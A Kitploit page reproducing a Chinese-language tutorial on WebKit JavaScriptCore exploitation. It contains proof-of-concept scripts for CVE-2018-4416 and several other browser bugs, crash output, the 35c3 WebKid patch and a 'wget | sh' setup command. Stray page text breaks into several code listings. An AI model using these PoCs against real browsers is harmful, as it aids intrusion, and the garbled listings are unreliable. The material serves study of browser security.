Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-4416-exploit — 针对 WebKit jsc CVE-2018-4416 的漏洞利用 | Kitploit
工具/GitHubGitHub/erupmi/cve-2018-4416-exploit
漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育学习路径与课程二进制利用
GitHuberupmi/cve-2018-4416-exploit

CVE-2018-4416-exploit

针对 WebKit jsc CVE-2018-4416 的漏洞利用

查看仓库
932年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
  • 前言 :PROPERTIES: :CUSTOM_ID: preface :END: 好的,二进制安全不仅仅是 /堆/ 和 /栈/,尽管常规 CTF 挑战之外我们还有很多要探索。浏览器、虚拟机以及内核在二进制安全中都扮演着重要角色。我决定先学习浏览器。

我选择了一个相对简单的:/WebKit/。(ChakraCore 可能更简单,哈哈。但有传言说微软取消了这个项目,因此我决定不选它。)

我将撰写一系列文章来记录我学习 /WebKit/ 安全的笔记。这也是我第一次学习浏览器安全,我的文章 可能 会包含 大量 错误。如果你发现了,请务必联系我进行纠正。

在阅读之前,你需要了解:- C++ 语法 - 汇编语言语法 - 虚拟机的安装 - 熟悉 Ubuntu 及其命令行 - 基本的编译器理论概念


  • 环境搭建 :PROPERTIES: :CUSTOM_ID: setup :END: 好了,现在我们开始。

** 虚拟机 :PROPERTIES: :CUSTOM_ID: virtual-machine :END: 首先,我们需要安装一个虚拟机作为测试目标。这里我选择 /Ubuntu 18.04 LTS/ 和 /Ubuntu 16.04 LTS/ 作为目标主机。你可以从 [[https://www.ubuntu.com/][这里]] 下载。如果我没有指定版本,请使用 18.04 LTS 作为默认版本。

Mac 可能是一个更合适的选择,因为它有 XCode 和 Safari。但考虑到 MacOS 的高资源消耗和不稳定的更新,我宁愿使用 Ubuntu。

我们需要一个虚拟机软件。我倾向于使用 [[https://www.vmware.com/][VMWare]]。Parallel Desktop 和 VirtualBox(免费)也不错,取决于个人习惯。

我不会一步步教你如何在 VMWare 上安装 Ubuntu。但我还是要提醒你,请 分配尽可能多的内存和 CPU,因为编译会消耗大量资源。一个 80GB 的磁盘应该足够存放源代码和编译后的文件。

** 源代码 :PROPERTIES: :CUSTOM_ID: source-code :END: 你可以通过三种方式下载 WebKit 源代码: [[https://github.com/WebKit/webkit][/git/]]、/svn/ 和 [[https://webkit.org/getting-the-code/][/archive/]]。

WebKit 的默认版本管理器是 svn。但我选择 git(太不习惯 svn 了):

#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example

** 调试器和编辑器 :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE 消耗大量资源,所以我用 vim 编辑源代码。

我看到的大多数调试工作都使用 lldb,而我对它并不熟悉。因此,我还安装了 gdb 并搭配 gef 插件。

#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src

** 测试 :PROPERTIES: :CUSTOM_ID: test :END: *** 编译 JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: 编译完整的 WebKit 需要大量时间。目前我们只编译 JSC(JavaScript Core),大多数漏洞都来自这里。

现在,你应该在 WebKit 源代码的 根目录 下。运行以下命令来准备依赖:

#+begin_src shell Tools/gtk/install-dependencies #+end_src

即使我们现在还没有编译完整的 WebKit,你也可以先安装其余依赖,以备将来测试。如果你不想花费太多时间,此步骤在编译 JSC 时不是必须的:

#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src

之后,我们可以编译 JSC:

#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src

几分钟后,我们可以通过以下命令运行 JSC:

#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src

让我们做一些测试:

#+begin_example

1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example

*** 触发漏洞 :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:

#+begin_quote 此处使用 Ubuntu 18.04 LTS #+end_quote

我们使用 [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] 进行测试,以下是 PoC。将其保存为 =poc.js=,放在 =jsc= 所在的同一文件夹:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};

      gc();

      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory); print(fake_object); #+end_example

首先,切换到存在漏洞的版本:

#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example

#+begin_quote 这可能会花费比编译更多的时间 #+end_quote

运行:=./jsc poc.js=,我们会得到:

#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example

如果我们在最新版本上运行(=git checkout master= 切换回来,并删除编译内容 =rm -rf WebKitBuild/Relase/= 和 =rm -rf WebKitBuild/Debug/=):

#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined

================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate,

... // lots of error message

SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example

现在,我们成功触发了一个漏洞!

我不打算解释细节(我也不知道)。希望几周后我们能弄明白根本原因。


  • 理解 WebKit 漏洞 :PROPERTIES: :CUSTOM_ID: understanding-webkit-vulnerability :END: 现在,是时候讨论更深入的内容了。在我们开始讨论 WebKit 架构之前,先来看看 WebKit 中常见的漏洞。

这里我只讨论二进制层面的漏洞。一些更高级的漏洞,比如 /URL 欺骗/ 或 /UXSS/,不在我们的讨论范围之内。下面的示例 并非仅仅来自 WebKit。有些是 Chrome 的漏洞。我们会简要介绍,并稍后具体分析 PoC。

在阅读这部分之前,强烈建议你先阅读一些编译原理方面的资料。基础的 Pwn 知识也应该掌握。我的解释可能不够清晰。再次强调,如果你发现错误,请指正。

随着我对 JSC 理解的加深,这篇文章会更新多次。稍后别忘了回来查看。

** 1. 释放后使用(Use After Free) :PROPERTIES: :CUSTOM_ID: use-after-free :END: 也称为 =UAF=。这在 CTF 挑战中很常见,是一个经典的场景:

#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src

由于一些逻辑错误,代码会重用已释放的内存。通常,一旦我们控制了已释放的内存,就可以进行泄露或写入。

CVE-2017-13791 是 WebKit UAF 的一个例子。这里是 PoC:

#+begin_example

a b #+end_example

** 2. 越界(Out of Bound) :PROPERTIES: :CUSTOM_ID: out-of-bound :END: 也称为 =OOB=。类似于浏览器中的溢出。同样,我们可以读取/写入相邻内存。=OOB= 经常出现在数组的错误优化或检查不足的情况下。例如([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]):

#+begin_example var ba; function s(){ ba = this; }

function dummy(){ alert("just a function"); }

Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); #+end_example

#+begin_quote 当调用 Function.bind 时,参数会被转移到数组,然后传递给 JSBoundFunction::JSBoundFunction。由于数组原型可能被添加了 setter,用户脚本有可能获得该数组的引用,并修改它,使其长度大于底层的原生 butterfly 数组。然后,当 boundFunctionCall 尝试将这个数组复制到调用参数时,它假设长度不超过分配的数组(如果没有被修改,这确实是正确的),从而读取越界。 #+end_quote

在大多数情况下,我们无法直接覆盖 =$RIP= 寄存器。漏洞利用编写者总是通过构造虚假数组来将部分读写转化为任意读写。

** 3. 类型混淆(Type Confusion) :PROPERTIES: :CUSTOM_ID: type-confusion :END: 这是一种特殊漏洞,发生在带有编译器的应用程序中。这个漏洞稍微难以解释。

假设我们有如下对象(32位):

#+begin_src C struct example{ int length; char *content; } #+end_src

那么,如果我们在内存中有一个 =length= == =5= 且 =content= 指针的对象,它可能如下所示:

#+begin_example 0x00: 0x00000005 -> length 0x04: 0xdeadbeef -> pointer #+end_example

一旦我们有另一个对象:

#+begin_src C struct exploit{ int length; void (*exp)(); } #+end_src

我们可以强制编译器将 =example= 对象解析为 =exploit= 对象。从而可以将 =exp= 函数指向任意地址并实现 RCE。

类型混淆的一个示例:

#+begin_example var q; function g(){ q = g.caller; return 7; }

var a = [1, 2, 3]; a.length = 4; Object.defineProperty(Array.prototype, "3", {get : g}); [4, 5, 6].concat(a); q(0x77777777, 0x77777777, 0); #+end_example

引用自 [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1032][CVE-2017-2446]]

#+begin_quote 如果 webkit 中的内置脚本处于严格模式,但随后调用了非严格模式的函数,这个函数可以调用 Function.caller 并获得对严格函数的引用。 #+end_quote

** 4. 整数溢出(Integer Overflow) :PROPERTIES: :CUSTOM_ID: integer-overflow :END: 整数溢出在 CTF 中也很常见。虽然整数溢出本身不会导致 RCE,但它可能导致 =OOB=。

理解这个漏洞并不难。想象一下你在 32 位机器上运行以下代码:

#+begin_example mov eax, 0xffffffff add eax, 2 #+end_example

因为 =eax= 的最大值是 =0xffffffff=。它无法容纳 =0xffffffff= + =2= = =0x100000001=。因此,高位字节会被溢出(舍弃)。最终 =eax= 的结果是 =0x00000001=。

这是 WebKit 中的一个示例([[https://phoenhex.re/2017-06-02/arrayspread][CVE-2017-2536]]):

#+begin_example var a = new Array(0x7fffffff); var x = [13, 37, ...a, ...a]; #+end_example

#+begin_quote 长度检查不正确,导致我们可以通过扩展数组越界溢出长度。然后,我们可以利用这个超长数组进行 =OOB=。 #+end_quote

** 5. 其他 :PROPERTIES: :CUSTOM_ID: else :END: 有些漏洞难以归类:- 条件竞争(Race Condition)- 未分配内存(Unallocated Memory)- ...

我将在稍后详细解释它们。


  • JavaScriptCore 深入解析 :PROPERTIES: :CUSTOM_ID: javascriptcore-in-depth :END: Webkit 主要包括:- JavaScriptCore:JavaScript 执行引擎。 - WTF:/Web 模板库,是 C++ STL 库的替代品。包含字符串操作、智能指针等。堆操作在这里也很独特。 - DumpRenderTree:生成 =RenderTree= - WebCore:最复杂的部分。包含 CSS、DOM、HTML、渲染等。除了上述组件之外,浏览器的几乎所有部分都包含在内。

而 JSC 包含:- 词法分析器(lexer) - 解析器(parser) - 启动解释器(LLInt) - 三个 JavaScript JIT 编译器,它们的编译时间逐渐变长,但运行速度越来越快: + baseline JIT,初始 JIT + 低延迟优化 JIT(DFG) + 高吞吐量优化 JIT(FTL),JIT 的最后阶段 - 两个 WebAssembly 执行引擎: + BBQ + OMG

#+begin_quote 仍然是一个免责声明:这篇文章在解释 WebKit 机制时可能 不准确 或 错误。 #+end_quote

如果你学过基本的编译理论课程,词法分析器 和 解析器 与课堂上教的没什么两样。但是代码生成部分令人沮丧。它有一个解释器和三个编译器,这算什么?JSC 还有许多其他非常规特性,我们来看看:

** JSC 值表示 :PROPERTIES: :CUSTOM_ID: jsc-value-representation :END: 为了更容易识别,JSC 的值有不同的表示方式:- 指针:=0000:PPPP:PPPP:PPPP=(以 0000 开头,然后是它的地址) - 双精度浮点数(以 0001 或 FFFE 开头):+ =0001:::= + =FFFE:::= - 整数:=FFFF:0000:IIII:IIII=(使用 =IIII:IIII= 存储值) - false:=0x06= - true:=0x07= - undefined:=0x0a= - null:=0x02=

然而,=0x0= 不是有效的值,会导致崩溃。

** JSC 对象模型 :PROPERTIES: :CUSTOM_ID: jsc-object-model :END: 与具有固定类成员的 Java 不同,JavaScript 允许随时添加属性。

因此,除了传统的静态对齐属性之外,JSC 还有一个用于添加动态属性的 butterfly 指针。它类似于一个附加数组。让我们通过几种情况来解释。

此外,JSArray 总是被分配到 butterfly 指针,因为它们会动态变化。

我们可以通过下面的图表轻松理解这个概念:

*** 0x0 快速 JSObject :PROPERTIES: :CUSTOM_ID: x0-fast-jsobject :END: 属性被初始化:

#+begin_example var o = {f: 5, g: 6}; #+end_example

由于我们只有静态属性,这里的 butterfly 指针将为 null:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| NULL | --> Butterfly Pointer

| 0xffff000 | --> 5 in JS format | 000000005 |

| 0xffff000 | | 000000006 | --> 6 in JS format

#+end_example

让我们扩展对 JSObject 的了解。正如我们所见,每个 =structure ID= 都有一个匹配的结构表。表中包含属性名称及其偏移量。在我们之前的对象 =o= 中,表如下所示:

property namelocation
"f"inline(0)
"g"inline(1)

当我们想要获取一个值(例如 =var v = o.f=)时,会发生以下行为:

#+begin_src cpp if (o->structureID == 42) v = o->inlineStorage[0] else v = slowGet(o, “f”) #+end_src

你可能想知道当编译器知道 =ID= 是 =42= 时,它为什么会直接通过偏移量获取值。这是一种称为 内联缓存 的机制,它帮助我们更快地获取值。这里不多做讨论,[[http://www.filpizlo.com/slides/pizlo-icooolps2018-inline-caches-slides.pdf][点击这里]]了解更多详情。

*** 0x1 带有动态添加字段的 JSObject :PROPERTIES: :CUSTOM_ID: x1-jsobject-with-dynamically-added-fields :END: #+begin_example var o = {f: 5, g: 6}; o.h = 7; #+end_example

现在,butterfly 有一个槽位,值为 7。

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000007 | | 000000005 | | ------------- -------------- -> | ... | | 0xffff000 | | 000000006 |

#+end_example

*** 0x2 保留 3 个数组元素的 JSArray :PROPERTIES: :CUSTOM_ID: x2-jsarray-with-room-for-3-array-elements :END: #+begin_example var a = []; #+end_example

Butterfly 以估计大小初始化一个数组。第一个元素 =0= 表示已使用的槽位数。=3= 表示最大槽位数:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0 | | ------------- (8 bits for these two elements) | | 3 | -> ------------- | | ------------- | | ------------- | | ------------- #+end_example

*** 0x3 具有快速属性和数组元素的对象 :PROPERTIES: :CUSTOM_ID: x3-object-with-fast-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; #+end_example

我们填充了数组的一个元素,所以 =0=(已使用的槽位)现在增加到 =1=:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000005 | | | 3 | -------------- -> ------------- | 0xffff000 | | 0xffff000 | | 000000006 | | 000000007 |


root@kitploit:~
                 |   <hole>  |
                 -------------
                 |   <hole>  |
                 -------------

#+end_example*** 0x4 具有快速和动态属性及数组元素的对象 :PROPERTIES: :CUSTOM_ID: x4-object-with-fast-and-dynamic-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; o.h = 8; #+end_example

新成员将在指针地址之前追加。数组放在蝴蝶指针的右侧,属性放在左侧,就像蝴蝶的翅膀:

#+begin_example

|结构 ID |

| 索引 |

| 类型 |

| 标志 |

| 调用状态 |

| 蝴蝶指针 | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000008 | | 000000005 | | ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000006 | | | 2 | -------------- -> ------------- (指针地址) | 0xffff000 | | 000000007 | ------------- | <空洞> | ------------- #+end_example

*** 0x5 具有动态属性和数组元素的异质对象 :PROPERTIES: :CUSTOM_ID: x5-exotic-object-with-dynamic-properties-and-array-elements :END: #+begin_example var o = new Date(); o[0] = 7; o.h = 8; #+end_example

我们为内置类扩展了蝴蝶,静态属性不会改变:

#+begin_example

|结构 ID |

| 索引 |

| 类型 |

| 标志 |

| 调用状态 |

| 蝴蝶指针 | -| ------------- -------------- | | 0xffff000 | | < C++ | | | 000000008 | | 状态 > | -> ------------- -------------- | 1 | | < C++ | ------------- | 状态 > | | 2 |


root@kitploit:~
                 | 0xffff000 |
                 | 000000007 |
                 -------------
                 |   <空洞>  |
                 -------------

#+end_example

** 类型推断 :PROPERTIES: :CUSTOM_ID: type-inference :END: JavaScript 是一种弱动态类型语言。编译器会在类型推断上做大量工作,导致其变得极其复杂。

*** 监控点 :PROPERTIES: :CUSTOM_ID: watchpoints :END: 监控点可能在以下情况下发生: - haveABadTime - 结构转换 - InferredValue - InferredType - 以及许多其他情况...

当上述情况发生时,它会检查监控点是否已优化。在 WebKit 中,它表示如下:

#+begin_src cpp class Watchpoint { public: virtual void fire() = 0; }; #+end_src

例如,编译器想要将 =42.toString()= 优化为 ="42"= (直接返回,而不是使用代码进行转换),它会检查它是否已经失效。然后,如果有效,注册监控点并进行优化。

** 编译器 :PROPERTIES: :CUSTOM_ID: compilers :END: *** 0x0. LLInt :PROPERTIES: :CUSTOM_ID: x0.-llint :END: 在最开始时,解释器会生成 字节码模板。以 JVM 为例,执行 =.class= 文件,这是另一种字节码模板。字节码有助于更容易地执行:

#+begin_example 解析器 -> 字节码编译器 -> 生成化 -> 字节码链接器 -> LLInt #+end_example

*** 0x1. 基线 JIT 和字节码模板 :PROPERTIES: :CUSTOM_ID: x1.-baseline-jit-and-byte-code-template :END: 最基本的 JIT,它会在此处生成 =字节码模板=。例如,这是 JavaScript 中的 /add/:

#+begin_example function foo(a, b) { return a + b; } #+end_example

这是字节码 IL,它更直接,没有复杂的词法分析,更便于转换为 asm:

#+begin_example [ 0] enter [ 1] get_scope loc3 [ 3] mov loc4, loc3 [ 6] check_traps [ 7] add loc6, arg1, arg2 [12] ret loc6 #+end_example

代码段 =7= 和 =12= 可能产生以下 DFG IL(我们接下来会讨论)。我们可以注意到它在操作时有许多类型相关信息。在第 4 行,代码会检查返回类型是否匹配:

#+begin_src cpp GetLocal(Untyped:@1, arg1(B/FlushedInt32), R:Stack(6), bc#7); GetLocal(Untyped:@2, arg2(C/FlushedInt32), R:Stack(7), bc#7); ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7); MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid); Return(Untyped:@25, W:SideState, Exits, bc#12); #+end_src

AST 看起来像这样:

#+begin_example +----------+ | return | +----+-----+ | | +----+-----+ | add | +----------+ | | | | v v +--+---+ +-+----+ | arg1 | | arg2 | +------+ +------+ #+end_example

*** 0x2. DFG :PROPERTIES: :CUSTOM_ID: x2.-dfg :END: 如果 JSC 检测到一个函数运行了几次,它会进入下一阶段。第一阶段已经生成了字节码。所以,DFG 解析器 直接解析字节码,抽象程度更低,更容易解析。然后,DFG 会进行优化并生成代码:

#+begin_example DFG 字节码解析器 -> DFG 优化器 -> DFG 后端 #+end_example

在这一步中,代码运行多次,且它们类型相对稳定。类型检查将使用 OSR。

想象一下我们将从这样优化:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // 大量操作

x = is_ok(ptr) ? *ptr : slow_path(ptr); y = ... // 大量操作 z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z; } #+end_src

优化成这样:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // 大量操作

if (!is_ok(ptr)) return foo_base1(ptr, w); x = *ptr; y = ... // 大量操作 z = *ptr; return w + x + y + z; } #+end_src

代码运行速度会更快,因为 =ptr= 只会进行一次类型检查。如果 /ptr/ 的类型总是不同,优化后的代码会由于频繁的退出而运行得更慢。因此,只有当代码运行了数千次时,浏览器才会使用 =OSR= 对其进行优化。

*** 0x3. FLT :PROPERTIES: :CUSTOM_ID: x3.-flt :END: 如果一个函数运行了千百次,JIT 将使用 FLT。像 DFG 一样,FLT 会重用 字节码模板,但进行更深的优化:

#+begin_example DFG 字节码解析器 -> DFG 优化器 -> DFG-to-B3 降级 -> B3 优化器 -> 指令选择 -> Air 优化器 -> Air 后端 #+end_example

*** 0x4. 关于优化的更多信息 :PROPERTIES: :CUSTOM_ID: x4.-more-about-optimization :END: 让我们看看不同优化阶段中 IR 的变化:

| IR | 风格 | 示例 | |----------+--------------------+----------------------------------------------| | 字节码 | 高级 Load/Store | =bitor dst, left, right= | | DFG | 中级异质 SSA | =dst: BitOr(Int32:@left, Int32:@right, ...)= | | B3 | 低级普通 SSA | =Int32 @dst = BitOr(@left, @right)= | | Air | 架构级 CISC | =Or32 %src, %dest= |

类型检查逐渐被消除。你现在可能理解为什么浏览器 CVE 中有这么多类型混淆了。此外,它们越来越接近机器码。

一旦类型检查失败,代码将返回之前的 IR(例如,在 B3 阶段类型检查失败,编译器将返回 DFG 并在该阶段执行)。

** 垃圾回收器(TODO) :PROPERTIES: :CUSTOM_ID: garbage-collector-todo :END: JSC 的堆基于 GC。堆中的对象会有一个关于其引用的计数器。GC 会扫描堆以回收无用的内存。

...仍在寻找更多资料...


  • 编写利用 :PROPERTIES: :CUSTOM_ID: writing-exploitation :END: 在开始利用漏洞之前,我们应该看看编写利用代码有多困难。我们这里重点介绍利用代码的编写,不会过多介绍漏洞细节。

这个挑战是 35c3 CTF 的 WebKid。你可以从 [[https://github.com/saelo/35c3ctf/tree/master/WebKid][这里]] 编译 WebKit 二进制文件(带有说明)、准备好的 VM 以及获取利用代码。此外,应该在虚拟机或真机上准备 macOS Mojave (10.14.2)(我认为它不会影响不同 macOS 版本中的崩溃,但攻击原语可能有所不同)。

通过以下命令运行:

#+begin_src shell DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser #+end_src

#+begin_quote 记住使用完整路径。否则浏览器会崩溃。 #+end_quote

如果在本地机器上运行,记得创建 =/flag1= 用于测试。

** 分析 :PROPERTIES: :CUSTOM_ID: analyzing :END: 让我们看看补丁:

#+begin_example diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp index 20fcd4032ce..a75e4ef47ba 100644 --- a/Source/JavaScriptCore/runtime/JSObject.cpp +++ b/Source/JavaScriptCore/runtime/JSObject.cpp @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot); }

+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) +{

  • ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
  • Structure* previous = structure->previousID();
  • if (!previous)
  • root@kitploit:~
       return false;
    
  • unsigned unused;
  • bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
  • if (!isLastAddedProperty)
  • root@kitploit:~
       return false;
    
  • RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
  • if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
  • root@kitploit:~
       ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
    
  • root@kitploit:~
       thisObject->setButterfly(vm, nullptr);
    
  • }
  • thisObject->setStructure(vm, previous);
  • return true; +}

// ECMA 8.6.2.5 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper

root@kitploit:~
   Structure* structure = thisObject->structure(vm);
  • bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
  • PropertyOffset offset = structure->get(vm, propertyName, attributes);
  • bool propertyIsPresent = isValidOffset(offset); if (propertyIsPresent) { if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable) return false;
  • root@kitploit:~
       PropertyOffset offset;
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary())
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary()) {
           offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
    
  • root@kitploit:~
       else
    
  • root@kitploit:~
           thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
       } else {
    
  • root@kitploit:~
           if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
    
  • root@kitploit:~
               thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
           }
    
  • root@kitploit:~
       }
    
  • root@kitploit:~
       if (offset != invalidOffset)
    
  • root@kitploit:~
       if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
           thisObject->locationForOffset(offset)->clear();
    
    }

diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in index 536481ecd6a..62189fea227 100644 --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in @@ -25,6 +25,12 @@ (deny default (with partial-symbolication)) (allow system-audit file-read-metadata)

+(allow file-read* (literal "/flag1")) + +(allow mach-lookup (global-name "net.saelo.shelld")) +(allow mach-lookup (global-name "net.saelo.capsd")) +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) + #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 (import "system.sb") #else #+end_example

这里最大的问题是关于 =tryDeletePropertyQuickly= 函数,它的行为如下(注释来自 /Linus Henze/:

#+begin_src cpp static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) { // 这个断言只要我们传递的不是“无效”偏移量就始终为真 ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));

root@kitploit:~
 // 尝试获取该对象的前一个结构
 Structure* previous = structure->previousID();
 if (!previous)
     return false; // 如果没有,就此停止

 unsigned unused;
 // 检查我们要删除的属性是否是最后添加的那个
 // 如果旧结构没有这个属性,则一定是这种情况
 bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
 if (!isLastAddedProperty)
     return false; // 不是最后一个属性?停止,用正常方式删除。

 // 断言:将属性添加到最后一个结构会得到当前结构
 RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);

 // 不感兴趣的部分。基本上,如果不是数组并且要求删除最后一个行外属性,则删除此对象的 Butterfly。之后 Butterfly 中不再存储任何属性,所以我们可以删除它。
 if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
     ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
     thisObject->setButterfly(vm, nullptr);
 }

 // 直接设置对象的结构
 thisObject->setStructure(vm, previous);

 return true;

} #+end_src

简而言之,一个对象可以通过删除之前添加的属性回退到前一个结构 ID。例如:

